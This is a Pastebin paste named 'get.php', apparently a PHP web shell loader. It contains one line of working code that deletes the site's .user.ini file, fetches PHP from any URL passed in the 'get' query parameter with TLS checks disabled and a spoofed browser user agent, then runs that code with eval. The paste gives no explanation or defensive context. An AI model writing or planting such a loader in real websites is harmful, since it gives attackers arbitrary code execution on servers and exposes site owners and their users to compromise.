Advertisement
Chemod

get.php

Jun 18th, 2020
231
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 0.81 KB | None | 0 0
  1. <?php error_reporting(0);if(file_exists(".user.ini")){unlink(".user.ini");}$code=$_GET["get"];if(empty($code)or!stristr($code,"http")){exit;}else{$php=file_get_contents($code);if(empty($php)){$php=curl($code);}$php=str_replace("<?php","",$php);$php=str_replace("<?php","",$php);$php=str_replace("?>","",$php);eval($php);}function curl($url){$curl=curl_init();curl_setopt($curl,CURLOPT_TIMEOUT,40);curl_setopt($curl,CURLOPT_RETURNTRANSFER,TRUE);curl_setopt($curl,CURLOPT_URL,$url);curl_setopt($curl,CURLOPT_USERAGENT,"Mozilla/5.0 (Windows NT 10.0; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0");curl_setopt($curl,CURLOPT_FOLLOWLOCATION,TRUE);if(stristr($url,"https://")){curl_setopt($curl,CURLOPT_SSL_VERIFYPEER,0);curl_setopt($curl,CURLOPT_SSL_VERIFYHOST,0);}curl_setopt($curl,CURLOPT_HEADER,false);return curl_exec($curl);} ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement